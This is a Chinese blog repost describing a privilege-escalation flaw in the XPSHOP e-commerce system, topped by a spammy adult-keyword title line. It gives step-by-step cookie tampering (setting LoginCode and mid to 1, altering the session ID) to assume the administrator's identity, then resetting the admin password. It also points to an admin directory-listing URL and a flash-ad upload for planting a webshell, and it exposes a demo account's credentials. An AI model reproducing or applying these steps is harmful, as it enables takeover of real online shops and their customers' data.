九九国产视频_亚洲精品国产三级在线观看_很污很黄能把下面看湿的短文_69色视频日韩在线视频

[重要通告]如您遇疑難雜癥,本站支持知識付費業(yè)務(wù),掃右邊二維碼加博主微信,可節(jié)省您寶貴時間哦!

XPSHOP商城系統(tǒng)漏洞 本文轉(zhuǎn)載老康BLOG
無意中發(fā)現(xiàn)這個漏洞的..官方現(xiàn)在還不知道...我沒有在別處公布哦..
這個漏洞不好...要直拉改人家管理員密碼!!有點兒缺德!!!...
但為了我們的網(wǎng)絡(luò)更安全..還是看看吧...

首先先看看這個站吧:http://demo1.xpshop.cn/
先注冊一個用戶進去..為了方便也為了不要那么垃圾賬戶在人家系統(tǒng)里.我這說一下我注冊好了的用戶名:wc1217 密碼:77423704

好..還是用啊D打開網(wǎng)站比較好..記得要保留cookies

之后便看看他的Cookies...

代碼:

LoginCode=0684; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=3pxjo23zuikyrk45mx0g4a55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=14
我們改一下這兩個值:LoginCode=0684;mid=14 .......都改成1 :

代碼:

LoginCode=1; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=3pxjo23zuikyrk45mx0g4a55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=1點擊修改..后右鍵刷新看一下..要注意.不要刷得太快...不然就沒用了..

之后就OK了:

當(dāng)然..也有可能沒有..那我們就要改一下:"ASP.NET_SessionId=" 這個值就好了..隨便改一個字就行:如下:

代碼:

LoginCode=1; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=fu1q1w3g3qc2vn55naohei55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=1好了..現(xiàn)在再看看會員信息:
是不是有一個"找回密碼答案:"呵.....個位都想到了吧..直接就能改管理員密碼了..
http://demo1.xpshop.cn/memberLostpass.aspx這個是改密碼的..

成功.....http://demo1.xpshop.cn/admin/default.aspx這里登錄后就是怎么拿WEBSHELL了..
可是我一直沒弄成..理論是只有這樣才行..看..

先插馬..再備份..但這里出錯了..
還望達人能想出更好的辦法..
我想了一晚上了....沒轍了....
http://demo1.xpshop.cn/admin/ftb.imagegallery.aspx?frame=1&rif=admin&cif=admin 這可以列目錄

好..就那么多了

http://demo1.xpshop.cn/helps/t.txt

添加flash廣告處可直接上傳馬

營銷管理 - flash廣告添加

問題未解決?付費解決問題加Q或微信 2589053300 (即Q號又微信號)右上方掃一掃可加博主微信

所寫所說,是心之所感,思之所悟,行之所得;文當(dāng)無敷衍,落筆求簡潔。 以所舍,求所獲;有所依,方所成!

支付寶贊助
微信贊助

免責(zé)聲明,若由于商用引起版權(quán)糾紛,一切責(zé)任均由使用者承擔(dān)。

您必須遵守我們的協(xié)議,如您下載該資源,行為將被視為對《免責(zé)聲明》全部內(nèi)容的認(rèn)可->聯(lián)系老梁投訴資源
LaoLiang.Net部分資源來自互聯(lián)網(wǎng)收集,僅供用于學(xué)習(xí)和交流,請勿用于商業(yè)用途。如有侵權(quán)、不妥之處,請聯(lián)系站長并出示版權(quán)證明以便刪除。 敬請諒解! 侵權(quán)刪帖/違法舉報/投稿等事物聯(lián)系郵箱:service@laoliang.net
意在交流學(xué)習(xí),歡迎贊賞評論,如有謬誤,請聯(lián)系指正;轉(zhuǎn)載請注明出處: » XPSHOP商城系統(tǒng)漏洞

發(fā)表回復(fù)

本站承接,網(wǎng)站推廣(SEM,SEO);軟件安裝與調(diào)試;服務(wù)器或網(wǎng)絡(luò)推薦及配置;APP開發(fā)與維護;網(wǎng)站開發(fā)修改及維護; 各財務(wù)軟件安裝調(diào)試及注冊服務(wù)(金蝶,用友,管家婆,速達,星宇等);同時也有客戶管理系統(tǒng),人力資源,超市POS,醫(yī)藥管理等;

立即查看 了解詳情